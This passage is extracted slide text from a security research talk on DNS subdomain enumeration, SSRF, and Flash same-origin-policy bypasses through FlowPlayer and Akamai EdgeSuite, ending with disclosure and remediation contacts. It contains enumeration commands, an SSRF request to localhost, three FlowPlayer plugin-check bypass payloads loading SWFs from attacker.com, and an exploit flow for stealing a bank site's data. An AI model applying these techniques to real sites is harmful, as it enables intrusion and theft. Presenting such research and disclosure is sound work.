    1414 SubBrute 2.0 Source: https://github.com/TheRook/subbrute •Through (~3 hours) – Authoritative NS used by default ./subbrute.py google.com –p –s names_large • Very Fast (~8 minutes) – Using Open Resolvers ./subbrute.py google.com –p –r resolvers.txt
  • 15.
    1515 QUERIES ABOUT QUERIES DNSMeta Queries AXFR - Transfers entire zone file from the master name server to “secondary name servers” ANY - Returns all records of all types known to the name server. If the name server does not have any information on the name, the request will be forwarded on.
  • 16.
    1616 DNS META QUERY digany google.com @8.8.8.8
  • 17.
    1717 DNS META QUERYSPIDER ./subbrute.py google.com –p –o goog.csv
  • 18.
    1818 Types of RecordsFound on Google.com Total Records: 3056 Total Subdomains: 358 A, 2379 CNAME, 231 AAAA, 255 MX, 146 NS, 12 SRV, 22 SOA, 3 NOERROR, 7 TYPE257, 1 A CNAME AAAA MX NS SRV SOA NOERROR TYPE257 0 500 1000 1500 2000 2500
  • 19.
    1919 DNS RECORD TYPE257 RFC-6844: DNS Certificate Pinning Source: https://en.wikipedia.org/wiki/DNS_Certification_Authority_Authorization
  • 20.
    2020 DNS Record Type257 http://arstechnica.com/security/2015/04/google-chrome-will-banish-chinese- certificate-authority-for-breach-of-trust/
  • 21.
    2121 RFC-6698: DNSSEC PKI Source:https://en.wikipedia.org/wiki/DNS-based_Authentication_of_Named_Entities
  • 22.
    2222 VOIP, CALENDAR, ANDLDAP SERVICES SRV Record Enumeration • _caldav._tcp.google.com,SRV,5 0 80 calendar.google.com. • _jabber-client._tcp.google.com,SRV,20 0 5222 alt1.xmpp.l.google.com. • _ldap._tcp.google.com,SRV,5 0 389 ldap.google.com. • _xmpp-client._tcp.google.com,SRV,5 0 5222 xmpp.l.google.com._xmpp- • server._tcp.google.com,SRV,5 0 5269 xmpp- server.l.google.com.
  • 23.
    2323 SOP BYPASS ATSCALE Akamai EdgeSuite - DNS static.fbcdn.com static.facebook.com.edgesuite.net. a1860.g.akamai.net. 64.145.75.11
  • 24.
    2424 VOIP, CALENDAR, ANDLDAP SERVICES subbrute - Internal Network Assessment subbrute.exe MicrosoftDomain.com –r internal_resolvers.txt –s names_large.txt ... 19 domain controllers found… _ldap._tcp.dc._msdcs.MicrosoftDomain.com,SRV,0 100 389 rangers.LegitBank.com. _ldap._tcp.dc._msdcs.MicrosoftDomain.com,SRV,0 100 389 sharks.DOMAIN.com. _ldap._tcp.dc._msdcs.MicrosoftDomain.com,SRV,0 100 389 canucks.DOMAIN.com.
  • 25.
    2525 A Common DNSMisconfiguration Source: https://cwe.mitre.org/data/definitions/203.html
  • 26.
    2626 NOERROR RESPONSES ./subbrute.py LegitBank.com–p –o comp _domainkey.LegitBank.com,NOERROR, sci.LegitBank.com,NOERROR, vcs.LegitBank.com,NOERROR, dev.LegitBank.com,NOERROR, internal.LegitBank.com,NOERROR
  • 27.
    2727 INTERNAL ADDRESSES NOERROR? cat comp| grep NOERROR > comp.ne ./subbrute.py –t comp.ne –p –o comp.internal ldap.sci.LegitBank.com,CNAME,prod-ldap-proxy- vip.sci.LegitBank.com. prod-ldap-proxy-vip.sci.LegitBank.com, CNAME,prod- ldap-proxy-vip-sv4.sci.LegitBank.com. prod-ldap-proxy-vip-sv4.sci.LegitBank.com, A,10.30.40.40
  • 28.
    2828 CONTINUED NOERROR? ./subbrute.py –t comp.ne–p –o comp.internal … accounting.internal.LegitBank.com, A,10.30.0.41 monitoring.internal.LegitBank.com, A,10.30.0.42
  • 29.
  • 30.
    3030 CROSSING THE ORIGINBOUNDARY Server Trust LegitBank.com
  • 31.
    3131 FIRST TWO HITSARE SSRF Search for “Cross Domain Proxy”
  • 32.
    3232 TOOLS Netcat for the21st century • https://nmap.org/ncat/ HTTP Request and Response Service • http://httpbin.org/ Burp Collaborator • http://blog.portswigger.net/2015/04/introducing- burp-collaborator.html SSRF tools
  • 33.
    3333 Access to theWeb Server’s localhost http://legitbank.com/proxy.php?csurl=http://localhost:631
  • 34.
    3434 Access to theWeb Server’s localhost
  • 35.
    3535 Access to InternalNetwork Hardware
  • 36.
    3636 CROSSING THE ORIGINBOUNDARY Server Trust LegitBank.com www.LegitBank.com accounting.internal.LegitBank.com
  • 37.
    3737 TOOLS SSRF In ALoad Balancer
  • 38.
    3838 PATHS TO EXPLOITATION •Can I access a protected resource? • XXE DTD system to make HTTP Requests? • Internal IP Address or Hosts? • “Virtual Private Cloud,” S3, MongoDB HTTP interface? • Can I connect to a host I control? • Can I load arbitrary content such as a SWF on the domain? SSRF Questions
  • 39.
  • 40.
    4040 Crossdomain.xml Proof ofConcept Tool • https://thehackerblog.com/crossdomain/ FlashHTTPRequest • https://github.com/mandatoryprogrammer/FlashHTTPReque st JPEXS • https://www.free-decompiler.com/flash/ SEARCHDIGGITY • http://www.bishopfox.com/resources/tools/google-hacking- diggity/attack-tools/ MEN HAVE BECOME TOOLS OF THEIR TOOLS Tools
  • 41.
    JAVASCRIPT VS FLASH REMOTEINCLUSION CROSSING THE ORIGIN BOUNDARY
  • 42.
    4242 • An originis a combination of port, scheme, and domain. • Origins separate sites from accessing each other’s data due to the Same Origin Policy (SOP). • For example, a script executing in the context of the http://example.com origin could not read data from http://thirdparty.com because the origins do not match. CROSSING THE ORIGIN BOUNDARY What’s an origin?
  • 43.
    4343 JavaScript • Remote JavaScript includesexecute in the context of the including site’s origin. Flash • Remote includes execute in the context of the hosting site’s origin. CROSSING THE ORIGIN BOUNDARY Differences between JavaScript and Flash
  • 44.
    4444 CROSSING THE ORIGINBOUNDARY Remote JavaScript Inclusion Example http://legitbank.com/ <!DOCTYPE html> <html> <head></head> <body> <h1>Script Origin:<p id="origin"></p></h1> <script src="http://thirdparty.com/example.js"></script> </body> </html>
  • 45.
    4545 CROSSING THE ORIGINBOUNDARY Remote JavaScript Inclusion Example http://thirdparty.com/example.js document.getElementById(‘origin’).innerText = location.origin
  • 46.
    4646 CROSSING THE ORIGINBOUNDARY Remote JavaScript Inclusion
  • 47.
    4747 CROSSING THE ORIGINBOUNDARY Remote Flash Inclusion Example http://legitbank.com/ <!DOCTYPE html> <html> <head></head> <body> <object type=“application/x-shockwave-flash” data=“http://thirdparty.com/example.swf”> </body> </html>
  • 48.
    4848 CROSSING THE ORIGINBOUNDARY Remote Flash Inclusion Example http://thirdparty.com/secrets.txt Secrets on thirdparty.com!
  • 49.
    4949 • Before Flashpreforms a cross-origin request, the target site’s crossdomain.xml file is checked. • This file permits third-party sites to perform authenticated requests via allow-access-from domain tags. • Wildcard usage is allowed and is commonplace. CROSSING THE ORIGIN BOUNDARY Flash Cross-Domain Policies
  • 50.
    5050 CROSSING THE ORIGINBOUNDARY Example Crossdomain.xml File http://legitbank.com/crossdomain.xml <cross-domain-policy> <allow-access-from domain=“*.legitbank.com”> <allow-access-from domain=“*.thirdparty.com”> </cross-domain-policy>
  • 51.
    5151 75% 25% USES DOESN'T USE *NOTINCLUDING SITES WITH JUST A WILDCARD ENTRY Usage of domain wildcards (*.domain.com)? *Taken from a survey of Alexa top 10,000 sites
  • 52.
    5252 • Enumerate allsubdomains of a domain name: • ./subbrute.py thirdparty.com • ./subbrute.py legitbank.com • An arbitrary SWF upload or vulnerable SWF on any domain will compromise the security of legitbank.com. CROSSING THE ORIGIN BOUNDARY Enumerating Subdomains With Subbrute
  • 53.
  • 54.
    5454 • FlowPlayer isa Flash application that plays videos and allows the loading of arbitrary Flash plugins. DON’T HATE THE PLAYER FlowPlayer
  • 55.
    5555 • Problematically, FlowPlayerversions below 3.2.16 allowed the loading of plugins from arbitrary domains. • This means an attacker can hijack the functionality of FlowPlayer by loading arbitrary plugins into the player. DON’T HATE THE PLAYER FlowPlayer
  • 56.
    5656 DON’T HATE THEPLAYER FlowPlayer http://legitbank.com/ flowplayer("player", vulnerable_player,{ plugins: { controls: null, SimpleHelloWorld: { url: 'http://thirdparty.com/plugin.swf', } } });
  • 57.
    5757 • With therelease of FlowPlayer 3.2.18 new code was introduced to prevent loading of arbitrary plugins. • This code parses the plugin URL to check if it’s trusted before loading it. • However, we found three bypasses by auditing the plugin checking code. DON’T HATE THE PLAYER Multiple FlowPlayer Bypasses
  • 58.
  • 59.
    5959 DON’T HATE THEPLAYER FlowPlayer Bypass #1 – The Check public static function isLocal(url:String):Boolean { trace("localDomain? " + url); if (url.indexOf("http://localhost") == 0) return true; if (url.indexOf("http://localhost:") == 0) return true; if (url.indexOf("file://") == 0) return true; if (url.indexOf("http://127.0.0.1") == 0) return true; if (url.indexOf("http://") == 0) return false; if (url.indexOf("/") == 0) return true; return false; }
  • 60.
    6060 DON’T HATE THEPLAYER FlowPlayer Bypass #1 – The Check public static function isLocal(url:String):Boolean { trace("localDomain? " + url); if (url.indexOf("http://localhost") == 0) return true; if (url.indexOf("http://localhost:") == 0) return true; if (url.indexOf("file://") == 0) return true; if (url.indexOf("http://127.0.0.1") == 0) return true; if (url.indexOf("http://") == 0) return false; if (url.indexOf("/") == 0) return true; return false; }
  • 61.
    6161 DON’T HATE THEPLAYER FlowPlayer Bypass #1 – The Bypass http://attacker.com/ flowplayer("player", vulnerable_player,{ plugins: { controls: null, SimpleHelloWorld: { url: ’//attacker.com/exploit.swf', } } });
  • 62.
    6262 DON’T HATE THEPLAYER FlowPlayer Bypass #2 – The Check public static function getDomain(url:String):String { var schemeEnd:int = getSchemeEnd(url); var domain:String = url.substr(schemeEnd); var endPos:int = getDomainEnd(domain); return domain.substr(0, endPos).toLowerCase(); } internal static function getSchemeEnd(url:String):int { var pos:int = url.indexOf("///"); if (pos >= 0) return pos + 3; pos = url.indexOf("//"); if (pos >= 0) return pos + 2; return 0; }
  • 63.
    6363 DON’T HATE THEPLAYER FlowPlayer Bypass #2 – The Check public static function getDomain(url:String):String { var schemeEnd:int = getSchemeEnd(url); var domain:String = url.substr(schemeEnd); var endPos:int = getDomainEnd(domain); return domain.substr(0, endPos).toLowerCase(); } internal static function getSchemeEnd(url:String):int { var pos:int = url.indexOf("///"); if (pos >= 0) return pos + 3; pos = url.indexOf("//"); if (pos >= 0) return pos + 2; return 0; }
  • 64.
    6464 DON’T HATE THEPLAYER FlowPlayer Bypass #2 – The Bypass http://attacker.com/ flowplayer("player", vulnerable_player,{ plugins: { controls: null, SimpleHelloWorld: { url: ’http://attacker.com///legitbank.com/../flowplayer/plugin. swf', } } });
  • 65.
    6565 DON’T HATE THEPLAYER FlowPlayer Bypass #3 – The Bypass http://attacker.com/ flowplayer("player", vulnerable_player,{ plugins: { controls: null, SimpleHelloWorld: { url: ’http://legitbank.com/openredirect.php?url=http://attacker.com/flowplayer/plu gin.swf', } } });
  • 66.
    6666 There are probablymany more, but three is a cool number. DON’T HATE THE PLAYER More bypasses…
  • 67.
  • 68.
    6868 CROSSING THE ORIGINBOUNDARY Flowplayer attacker.com legitbank.com
  • 69.
    6969 CROSSING THE ORIGINBOUNDARY Flowplayer Users logs in to legitbank.com attacker.com legitbank.com
  • 70.
    7070 CROSSING THE ORIGINBOUNDARY Flowplayer attacker.com legitbank.com
  • 71.
    7171 CROSSING THE ORIGINBOUNDARY Flowplayer attacker.com legitbank.com
  • 72.
    7272 CROSSING THE ORIGINBOUNDARY Flowplayer attacker.com legitbank.com
  • 73.
    7373 CROSSING THE ORIGINBOUNDARY Flowplayer ATTACKER HIJACKS SWF WITH PLUGIN attacker.com legitbank.com
  • 74.
    7474 CROSSING THE ORIGINBOUNDARY Flowplayer attacker.com legitbank.com
  • 75.
  • 76.
  • 77.
    7777 • EdgeSuite.net isused in Akamai’s Content Delivery Network (CDN). • Part of the FreeFlow service, Akamai’s legacy content delivery network. • The setup process for FreeFlow involves pointing DNS records to Akamai’s network. • Instead of hitting your site directly the Akamai service acts as a caching and distribution service. SOP BYPASS AT SCALE Akamai EdgeSuite
  • 78.
    7878 SOP BYPASS ATSCALE Akamai EdgeSuite - DNS akamai.example.com x.example.com.edgesuite.net. a1337.g.akamai.net. 184.25.56.98
  • 79.
    7979 SOP BYPASS ATSCALE Akamai EdgeSuite akamai.example.com example.com
  • 80.
    8080 SOP BYPASS ATSCALE Akamai EdgeSuite akamai.example.com example.com
  • 81.
    8181 SOP BYPASS ATSCALE Akamai EdgeSuite akamai.example.com example.com
  • 82.
    8282 SOP BYPASS ATSCALE Akamai EdgeSuite akamai.example.com example.com
  • 83.
  • 84.
    8484 • Akamai ResourceLocator • Special URL use to host files on the Akamai network. • A deprecated service that Akamai used to do when setting up clients for their CDN solution. • Despite being deprecated, many endpoints still have it enabled. SOP BYPASS AT SCALE ARLv1
  • 85.
    8585 Say you wantto host this file on Akamai: http://example.edgesuite.net/flow/swf/example. swf SOP BYPASS AT SCALE ARLv1
  • 86.
    8686 http://akamai.example.com/f/248/322142/1d/example.edge suite.net/flow/swf/example.swf SOP BYPASS ATSCALE ARLv1 CACHE OPTIONS (TIME TO CACHE, CLIENT ID, ETC.) THE URL TO THE FILE WEBSITE POINTING TO AKAMAI
  • 87.
    8787 • This processis known as Akamaization of a URL. • Akamai’s network works by pulling the file off your server and hosting it on the CDN. SOP BYPASS AT SCALE ARLv1
  • 88.
    8888 • If youpoint akamai.example.com to Akamai’s EdgeSuite service, we can host arbitrary files on your server. • However, you can only use the site to retrieve files from a specific list of sites. SOP BYPASS AT SCALE ARLv1 & EdgeSuite
  • 89.
    8989 SOP BYPASS ATSCALE ARLv1
  • 90.
    9090 • We tookto enumerating what sites could be proxied. ./subbrute.py edgesuite.net • After some searching we found a site on the whitelist. SOP BYPASS AT SCALE ARLv1 & EdgeSuite
  • 91.
    9191 SOP BYPASS ATSCALE ARLv1 & EdgeSuite
  • 92.
  • 93.
    9393 • Not onlydo they host FlowPlayer, they host FlowPlayer 3.2.16, which allows the loading of any arbitrary Flash plugins. • So, putting it together - we can now host an intentionally vulnerable version of FlowPlayer on any site mapped to EdgeSuite, and then hijack it. SOP BYPASS AT SCALE ARLv1 & EdgeSuite
  • 94.
  • 95.
  • 96.
    9696 THE FALLOUT Full ExploitFlow User logs in to legitbank.com legitbank.com
  • 97.
    9797 THE FALLOUT Full ExploitFlow attacker.com legitbank.com
  • 98.
    9898 THE FALLOUT Full ExploitFlow akamai.legitbank.com mediapm.edgesuite.net attacker.com legitbank.com
  • 99.
    9999 mediapm.edgesuite.net THE FALLOUT Full ExploitFlow ATTACKER LOADS MALICIOUS PLUGIN INTO FLOWPLAYER attacker.com legitbank.com akamai.legitbank.com
  • 100.
    100100 THE FALLOUT Full ExploitFlow HIJACKED FLOWPLAYER REQUESTS PAGE FROM LEGITBANK.COM DUE TO A *.LEGITBANK.COM ENTRY IN CROSSDOMAIN.XML THIS IS ALLOWED. mediapm.edgesuite.net akamai.legitbank.com attacker.com legitbank.com
  • 101.
  • 102.
    102102 CROSSING THE ORIGINBOUNDARY Example Crossdomain.xml File http://legitbank.com/crossdomain.xml <cross-domain-policy> <allow-access-from domain=“*.legitbank.com”> <allow-access-from domain=“*.thirdparty.com”> </cross-domain-policy>
  • 103.
    103103 CROSSING THE ORIGINBOUNDARY Example Crossdomain.xml File http://legitbank.com/crossdomain.xml <cross-domain-policy> <allow-access-from domain=“*.legitbank.com”> <allow-access-from domain=“*.thirdparty.com”> </cross-domain-policy> IF ANY SUBDOMAIN IS MAPPED TO EDGESUITE THE SITE IS COMPROMISED IF ANY SUBDOMAIN IS MAPPED TO EDGESUITE THE SITE IS COMPROMISED
  • 104.
    104104 • A sitedoesn’t even have to use Akamai EdgeSuite to be vulnerable. • They just have to trust them via crossdomain.xml. • Due to Flash’s crossdomain.xml policies being so commonly misconfigured, we can increase our impact to affect many more sites. SOP BYPASS AT SCALE Expanding Attack Surface With Flash
  • 105.
    THE FALLOUT WHO USESA CDN ANYWAYS?
  • 106.
    VERIZON WIRELESS MY OTHERNUMBER IS YOUR NUMBER
  • 107.
    NOSCRIPT A WHITELIST ISMORE A LIST OF POSSIBILITIES
  • 108.
    108108 • HTTP ContentSecurity Policy (CSP) will not prevent this type of attack. • Since we are loading their SWF into our own page, the CSP does not apply. • Additionally, we can use vulnerable SWFs hosted on Content Delivery Networks (CDNs) to exploit site’s with CDNs in their CSP whitelists. CROSSING THE ORIGIN BOUNDARY Bypassing HTTP Content Security Policy
  • 109.
    109109 • Akamai hasbeen super supportive to us throughout this disclosure process. • In order to address this vulnerability, they have provided us with instructions on remediation if you are vulnerable. HOW DO I FIX THIS? Remediation
  • 110.
    110110 • You mayalready be patched! • If you are an Akamai customer you need to call Akamai’s support line at 1-617-444-4699 or email them at ccare@akamai.com. • Public inquires can be directed to Rob Morton at 1-617-444-3641 or rmorton@akamai.com. HOW DO I FIX THIS? How Do I Remediate?
  • 111.
    111111 • If youare a security researcher with a vulnerability in Akamai you can reach them at security@akamai.com. • They have a PGP key available on their website that you can use for more sensitive communications. • Akamai is hiring folks at: https://www.akamai.com/us/en/about/careers/ind ex.jsp. HOW DO I FIX THIS? Future Security Research
  • 112.
  • 113.
  • 114.